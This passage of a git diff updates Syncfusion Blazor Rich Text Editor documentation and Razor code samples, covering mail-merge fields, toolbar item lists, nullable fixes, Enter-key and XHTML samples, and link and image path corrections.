 <div class="control-section">
     <div class="control-wrapper">
         <div class="">
-           <SfRichTextEditor ID="_mailMergeEditor" @bind-Value="_rteValue" SaveInterval="1" @ref="_mailMergeEditor">
+            <SfRichTextEditor ID="_mailMergeEditor" @bind-Value="_rteValue" SaveInterval="1" @ref="_mailMergeEditor">
                 <RichTextEditorToolbarSettings Items="@_tools">
                     <RichTextEditorEvents OnActionComplete="@OnActionCompleteHandler" />
                     <RichTextEditorCustomToolbarItems>
@@ -19,8 +19,19 @@
                         </RichTextEditorCustomToolbarItem>
                         <RichTextEditorCustomToolbarItem Name="InsertField">
                             <Template>
-                                <SfDropDownButton CssClass="@_dropDownButtonClass" id="insertField" Items="@_items" aria-label="Insert Merge Field" Disabled="@_sourceCodeEnabled">
+                                <SfDropDownButton CssClass="@_dropDownButtonClass" id="insertField" aria-label="Insert Merge Field" Disabled="@_sourceCodeEnabled">
                                     <ChildContent>
+                                        <DropDownMenuItems>
+                                            <DropDownMenuItem Text="First Name"></DropDownMenuItem>
+                                            <DropDownMenuItem Text="Last Name"></DropDownMenuItem>
+                                            <DropDownMenuItem Text="Support Email"></DropDownMenuItem>
+                                            <DropDownMenuItem Text="Company Name"></DropDownMenuItem>
+                                            <DropDownMenuItem Text="Promo Code"></DropDownMenuItem>
+                                            <DropDownMenuItem Text="Support Phone Number"></DropDownMenuItem>
+                                            <DropDownMenuItem Text="Customer ID"></DropDownMenuItem>
+                                            <DropDownMenuItem Text="Expiration Date"></DropDownMenuItem>
+                                            <DropDownMenuItem Text="Subscription Plan"></DropDownMenuItem>
+                                        </DropDownMenuItems>
                                         <span style="display:inline-flex;">
                                             <span class="e-rte-dropdown-btn-text">Insert Field</span>
                                         </span>
@@ -46,16 +57,17 @@
 <style>
     .tailwind #insertField,
     .tailwind3 #insertField {
-    font-size: 14px
+        font-size: 14px
     }
+
     .tailwind3 #merge_data,
     .tailwind3-dark #merge_data {
-        font-weight:400;
+        font-weight: 400;
     }
 </style>
 @code {
-    private SfMention<MergeData> mentionObj;
-    private SfRichTextEditor _mailMergeEditor;
+    private SfMention<MergeData>? mentionObj;
+    private SfRichTextEditor? _mailMergeEditor;
     private string _buttonClass = "e-tbar-btn e-tbar-btn-text";
     private string _dropDownButtonClass = "e-rte-elements e-rte-dropdown-menu";
     private bool _sourceCodeEnabled = false;
@@ -69,8 +81,8 @@
     private char _mentionChar = '{';
     public class MergeData
     {
-        public string Text { get; set; }
-        public string Value { get; set; }
+        public string? Text { get; set; }
+        public string? Value { get; set; }
     }
     private List<MergeData> _mergeData = new List<MergeData>
     {
@@ -104,19 +116,7 @@
         new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
         new ToolbarItemModel() { Command = ToolbarCommand.Separator },
         new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo },
-    };
-    private List<DropDownMenuItem> _items = new List<DropDownMenuItem>
-    {
-        new DropDownMenuItem { Text = "First Name" },
-        new DropDownMenuItem { Text = "Last Name" },
-        new DropDownMenuItem { Text = "Support Email" },
-        new DropDownMenuItem { Text = "Company Name" },
-        new DropDownMenuItem { Text = "Promo Code" },
-        new DropDownMenuItem { Text = "Support Phone Number" },
-        new DropDownMenuItem { Text = "Customer ID" },
-        new DropDownMenuItem { Text = "Expiration Date" },
-        new DropDownMenuItem { Text = "Subscription Plan" }
+        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
     };
     private Dictionary<string, string> _placeholderData = new Dictionary<string, string>
     {
@@ -135,7 +135,7 @@
         if (this._mailMergeEditor != null)
         {
             var editorContent = this._mailMergeEditor.Value;
-            var mergedContent = ReplacePlaceholders(editorContent, this._placeholderData);
+            var mergedContent = ReplacePlaceholders(editorContent ?? string.Empty, this._placeholderData);
             _rteValue = mergedContent;
         }
     }
@@ -160,8 +160,11 @@
             var value = _mergeData.FirstOrDefault(md => md.Text == args.Item.Text)?.Value;
             string htmlContent = $"<span contenteditable=\"false\" class=\"e-mention-chip\"><span>{{{{{value}}}}}</span></span> ";
             var undoOption = new ExecuteCommandOption { Undo = true };
-            this._mailMergeEditor.ExecuteCommandAsync(CommandName.InsertHTML, htmlContent, undoOption);
-            await this._mailMergeEditor.SaveSelectionAsync();
+            if (this._mailMergeEditor != null)
+            {
+                await this._mailMergeEditor.ExecuteCommandAsync(CommandName.InsertHTML, htmlContent, undoOption);
+                await this._mailMergeEditor.SaveSelectionAsync();
+            }
         }
     }
     private void OnActionCompleteHandler(Syncfusion.Blazor.RichTextEditor.ActionCompleteEventArgs args)
diff --git a/blazor/rich-text-editor/code-snippet/mention-min-length.razor b/blazor/rich-text-editor/code-snippet/mention-min-length.razor
index b4781ce814..15c97fd6ca 100644
--- a/blazor/rich-text-editor/code-snippet/mention-min-length.razor
+++ b/blazor/rich-text-editor/code-snippet/mention-min-length.razor
@@ -1,9 +1,7 @@
 @using Syncfusion.Blazor.DropDowns
 @using Syncfusion.Blazor.RichTextEditor
 
-
 <SfRichTextEditor ID="mentionIntegration">
-
     <p>Hello
         <span contenteditable="false" class="e-mention-chip"><a href="mailto:maria@gmail.com" title="maria@gmail.com">@@Maria</a></span>
     </p>
@@ -31,6 +29,6 @@
         new PersonData() { Name="Russo Kay",   EmailId="russo@gmail.com" },
         new PersonData() { Name="Camden Kate", EmailId="camden@gmail.com" },
         new PersonData() { Name="Garth",  EmailId="garth@gmail.com" },
-        new PersonData() { Name="Ursula Ann", EmailId="ursula@gmail.com" },
+        new PersonData() { Name="Ursula Ann", EmailId="ursula@gmail.com" }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/mention-suggestion-count.razor b/blazor/rich-text-editor/code-snippet/mention-suggestion-count.razor
index 91c6fa0502..c572d884b6 100644
--- a/blazor/rich-text-editor/code-snippet/mention-suggestion-count.razor
+++ b/blazor/rich-text-editor/code-snippet/mention-suggestion-count.razor
@@ -1,9 +1,7 @@
 @using Syncfusion.Blazor.DropDowns
 @using Syncfusion.Blazor.RichTextEditor
 
-
 <SfRichTextEditor ID="mentionIntegration">
-
     <p>Hello
         <span contenteditable="false" class="e-mention-chip"><a href="mailto:maria@gmail.com" title="maria@gmail.com">@@Maria</a></span>
     </p>
diff --git a/blazor/rich-text-editor/code-snippet/multirow-toolbar.razor b/blazor/rich-text-editor/code-snippet/multirow-toolbar.razor
index f8e0602a51..7bce485e37 100644
--- a/blazor/rich-text-editor/code-snippet/multirow-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/multirow-toolbar.razor
@@ -8,28 +8,56 @@
 @code{ 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>() 
     { 
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Image }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo } 
+        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Redo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.ImportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportPdf },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
+        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
+        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
+        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
+        new ToolbarItemModel() { Command = ToolbarCommand.InlineCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
+        new ToolbarItemModel() { Command = ToolbarCommand.Image },
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
+        new ToolbarItemModel() { Command = ToolbarCommand.CodeBlock },
+        new ToolbarItemModel() { Command = ToolbarCommand.HorizontalLine },
+        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.LineHeight },
+        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
+        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.BulletFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.NumberFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.Checklist },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
+        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontName },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontSize },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
+        new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.Video },
+        new ToolbarItemModel() { Command = ToolbarCommand.Audio },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.FormatPainter },
+        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
+        new ToolbarItemModel() {Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.Print },
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen }
     }; 
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/popup-toolbar.razor b/blazor/rich-text-editor/code-snippet/popup-toolbar.razor
index 5a448e13b7..18490e5b5e 100644
--- a/blazor/rich-text-editor/code-snippet/popup-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/popup-toolbar.razor
@@ -1,6 +1,63 @@
 @using Syncfusion.Blazor.RichTextEditor 
 
 <SfRichTextEditor> 
-    <RichTextEditorToolbarSettings Type="ToolbarType.Popup" />
+    <RichTextEditorToolbarSettings Items="@Tools" Type="ToolbarType.Popup" />
     <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p> 
 </SfRichTextEditor> 
+
+@code{ 
+    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>() 
+    { 
+        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Redo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.ImportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportPdf },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
+        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
+        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
+        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
+        new ToolbarItemModel() { Command = ToolbarCommand.InlineCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
+        new ToolbarItemModel() { Command = ToolbarCommand.Image },
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
+        new ToolbarItemModel() { Command = ToolbarCommand.CodeBlock },
+        new ToolbarItemModel() { Command = ToolbarCommand.HorizontalLine },
+        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.LineHeight },
+        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
+        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.BulletFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.NumberFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.Checklist },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
+        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontName },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontSize },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
+        new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.Video },
+        new ToolbarItemModel() { Command = ToolbarCommand.Audio },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.FormatPainter },
+        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
+        new ToolbarItemModel() {Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.Print },
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen }
+    }; 
+}
diff --git a/blazor/rich-text-editor/code-snippet/scrollable-toolbar.razor b/blazor/rich-text-editor/code-snippet/scrollable-toolbar.razor
index 93a3cdf52d..2584e4cda8 100644
--- a/blazor/rich-text-editor/code-snippet/scrollable-toolbar.razor
+++ b/blazor/rich-text-editor/code-snippet/scrollable-toolbar.razor
@@ -8,28 +8,56 @@
 @code{ 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>() 
     { 
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Image }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo } 
+        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Redo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.ImportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportPdf },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
+        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
+        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
+        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
+        new ToolbarItemModel() { Command = ToolbarCommand.InlineCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
+        new ToolbarItemModel() { Command = ToolbarCommand.Image },
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
+        new ToolbarItemModel() { Command = ToolbarCommand.CodeBlock },
+        new ToolbarItemModel() { Command = ToolbarCommand.HorizontalLine },
+        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.LineHeight },
+        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
+        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.BulletFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.NumberFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.Checklist },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
+        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontName },
+        new ToolbarItemModel() { Command = ToolbarCommand.FontSize },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
+        new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.Video },
+        new ToolbarItemModel() { Command = ToolbarCommand.Audio },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.FormatPainter },
+        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
+        new ToolbarItemModel() {Command = ToolbarCommand.Separator},
+        new ToolbarItemModel() { Command = ToolbarCommand.Print },
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen }
     }; 
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/shift-enter-key-customization.razor b/blazor/rich-text-editor/code-snippet/shift-enter-key-customization.razor
index 9881775934..d6c94f41d6 100644
--- a/blazor/rich-text-editor/code-snippet/shift-enter-key-customization.razor
+++ b/blazor/rich-text-editor/code-snippet/shift-enter-key-customization.razor
@@ -1,5 +1,13 @@
 @using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor ShiftEnterKey="ShiftEnterKeyTag.DIV">
-    <div>In Rich text Editor, the <kbd>Enter</kbd> key and <kbd>Shift</kbd> + <kbd>Enter</kbd> key actions can be customized using the EnterKey and ShiftEnterKey properties.</div>
-</SfRichTextEditor>
\ No newline at end of file
+    <RichTextEditorToolbarSettings Items="Items"></RichTextEditorToolbarSettings>
+    <p>In Rich Text Editor, the Shift Enter key behavior can be customized using the <code>ShiftEnterKey</code> property.The possible tags are <code>&lt;p&gt;</code>, <code>&lt;div&gt;</code>, and <code>&lt;br&gt;</code>.This sample is configured with <code>Shift EnterKey</code> set to <b>DIV</b>.</p>
+</SfRichTextEditor>
+
+@code {
+    private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode }
+    };
+}
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/slash-commands-items.razor b/blazor/rich-text-editor/code-snippet/slash-commands-items.razor
index fc878c4f3d..9328a882ec 100644
--- a/blazor/rich-text-editor/code-snippet/slash-commands-items.razor
+++ b/blazor/rich-text-editor/code-snippet/slash-commands-items.razor
@@ -11,6 +11,6 @@
         new SlashMenuItemModel() {Command = SlashMenuCommand.Paragraph},
         new SlashMenuItemModel() {Command = SlashMenuCommand.Heading1},
         new SlashMenuItemModel() {Command = SlashMenuCommand.Heading2},
-        new SlashMenuItemModel() {Command = SlashMenuCommand.Heading3},
+        new SlashMenuItemModel() {Command = SlashMenuCommand.Heading3}
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/slash-commands-popup.razor b/blazor/rich-text-editor/code-snippet/slash-commands-popup.razor
index 830ac8be61..f4667521a1 100644
--- a/blazor/rich-text-editor/code-snippet/slash-commands-popup.razor
+++ b/blazor/rich-text-editor/code-snippet/slash-commands-popup.razor
@@ -11,6 +11,6 @@
         new SlashMenuItemModel() {Command = SlashMenuCommand.Paragraph},
         new SlashMenuItemModel() {Command = SlashMenuCommand.Heading1},
         new SlashMenuItemModel() {Command = SlashMenuCommand.Heading2},
-        new SlashMenuItemModel() {Command = SlashMenuCommand.Heading3},
+        new SlashMenuItemModel() {Command = SlashMenuCommand.Heading3}
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/code-snippet/xhtml-validation.razor b/blazor/rich-text-editor/code-snippet/xhtml-validation.razor
index 32ff184fd4..528d1a4fa4 100644
--- a/blazor/rich-text-editor/code-snippet/xhtml-validation.razor
+++ b/blazor/rich-text-editor/code-snippet/xhtml-validation.razor
@@ -1,9 +1,17 @@
 @using Syncfusion.Blazor.RichTextEditor
-
-<div class="control-section">    
-    <SfRichTextEditor EnableXhtml="true">
-        <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
-        <p><b>Get started Quick Toolbar to click on the image</b></p>
-        <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
-    </SfRichTextEditor>                         
-</div>
\ No newline at end of file
+ 
+<SfRichTextEditor EnableXhtml="true">
+    <RichTextEditorToolbarSettings Items="Items"></RichTextEditorToolbarSettings>
+    <DIV>
+        <p>XHTML validation ensures structured and standard-compliant content in the Rich Text Editor.</p>
+        <B>It automatically corrects invalid markup and enforces proper formatting</b>
+        <p>Enable this feature using EnableXhtml property in the editor</P>
+    </DIV>
+</SfRichTextEditor>
+ 
+@code {
+    private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode }
+    };
+}
diff --git a/blazor/rich-text-editor/data-binding.md b/blazor/rich-text-editor/data-binding.md
index 5f46fa9253..2fccc6d2e0 100644
--- a/blazor/rich-text-editor/data-binding.md
+++ b/blazor/rich-text-editor/data-binding.md
@@ -7,7 +7,7 @@ control: RichTextEditor
 documentation: ug
 ---
 
-# Value Binding in Blazor RichTextEditor
+# Value Binding in Blazor Rich Text Editor
 
 The Blazor Rich Text Editor supports two-way data binding to its [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property using the `@bind-Value` attribute. The `Value` property accepts a `string` type. When the editor's content is modified, the bound variable is automatically updated. Likewise, any changes to the variable will be reflected in the editor's content.
 
@@ -34,14 +34,14 @@ The following example demonstrates how to use the `ValueChange` event to get a n
 
 @using Syncfusion.Blazor.RichTextEditor
 
-<SfRichTextEditor ID="AutoSave" SaveInterval="saveInterval" AutoSaveOnIdle="true" Value="@Value">
+<SfRichTextEditor ID="AutoSave" SaveInterval="SaveInterval" AutoSaveOnIdle="true" Value="@Value">
     <p>Type or edit the content to be saved automatically in the editor </p>
     <RichTextEditorEvents ValueChange="UpdateStatus" />
 </SfRichTextEditor>
 
 @code{
     private string Value { get; set; } = "<p>Start to type a content to save </p>";
-    private int saveInterval { get; set; } = 5000;
+    private int SaveInterval { get; set; } = 5000;
     private void UpdateStatus(Syncfusion.Blazor.RichTextEditor.ChangeEventArgs args)
     {
         // Place the codes here, which save the Rich Text Editor value into database.
diff --git a/blazor/rich-text-editor/editor-modes.md b/blazor/rich-text-editor/editor-modes.md
index a38ab3134f..b39c5242ad 100644
--- a/blazor/rich-text-editor/editor-modes.md
+++ b/blazor/rich-text-editor/editor-modes.md
@@ -45,7 +45,7 @@ To enable HTML mode, set the [EditorMode](https://help.syncfusion.com/cr/blazor/
 
 The IFrame editor mode enables content editing within an iframe, isolating styles from the main page.
 
-For more details, refer to the [Iframe Editor](../iframe) documentation.
+For more details, refer to the [Iframe Editor](./iframe) documentation.
 
 ## Markdown editor
 
@@ -82,7 +82,7 @@ To enable Markdown editing, set the [EditorMode](https://help.syncfusion.com/cr/
 
 ![Blazor RichTextEditor with Markdown Editor](./images/blazor-richtexteditor-markdown-editor.png)
 
-For further details on Markdown editing, refer to the [Markdown](./markdown) section.
+For further details on Markdown editing, refer to the [Markdown](https://blazor.syncfusion.com/documentation/markdown-editor/getting-started-webapp) section.
 
 N> You can also explore our [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) demo to learn how to render and configure the editor tools.
 
diff --git a/blazor/rich-text-editor/enter-key.md b/blazor/rich-text-editor/enter-key.md
index 47067a073c..5b5d27b52c 100644
--- a/blazor/rich-text-editor/enter-key.md
+++ b/blazor/rich-text-editor/enter-key.md
@@ -13,7 +13,7 @@ The Rich Text Editor allows to customize the tag that is inserted when pressing
 
 ## Enter key customization
 
-By default, pressing the <kbd>Enter</kbd> key inserts a `<p>` tag. The <kbd>Enter</kbd> key behavior can be customized using the [EnterKey]T(https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_EnterKey) property. The [possible tags](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.EnterKeyTag.html) are `<p>`, `<div>`, and `<br>`.
+By default, pressing the <kbd>Enter</kbd> key inserts a `<p>` tag. The <kbd>Enter</kbd> key behavior can be customized using the [EnterKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_EnterKey) property. The [possible tags](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.EnterKeyTag.html) are `<p>`, `<div>`, and `<br>`.
 
 When configured, pressing the <kbd>Enter</kbd> key inserts the specified tag.
 
@@ -27,9 +27,7 @@ N> The **pre** tag will be inserted when code format is applied. If the editor c
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Rich Text Editor Enter key configuration](./images/blazor-richtexteditor-enter-key.png)
-
-N> [View Sample](https://blazor.syncfusion.com/demos/rich-text-editor/enterkeyconfiguration)
+![Blazor Rich Text Editor Enter key configuration](./images/blazor-richtexteditor-enterkey.gif)
 
 ## Shift-Enter key customization
 
@@ -46,4 +44,6 @@ When configured, pressing <kbd>Shift</kbd> + <kbd>Enter</kbd> inserts the specif
 {% endtabs %}
 
 
-![Blazor Rich Text Editor Shift+Enter key configuration](./images/blazor-richtexteditor-shift-enter-key.png)
\ No newline at end of file
+![Blazor Rich Text Editor Shift+Enter key configuration](./images/blazor-richtexteditor-shiftenterkey.gif)
+
+N> [View Sample](https://blazor.syncfusion.com/demos/rich-text-editor/enterkeyconfiguration)
\ No newline at end of file
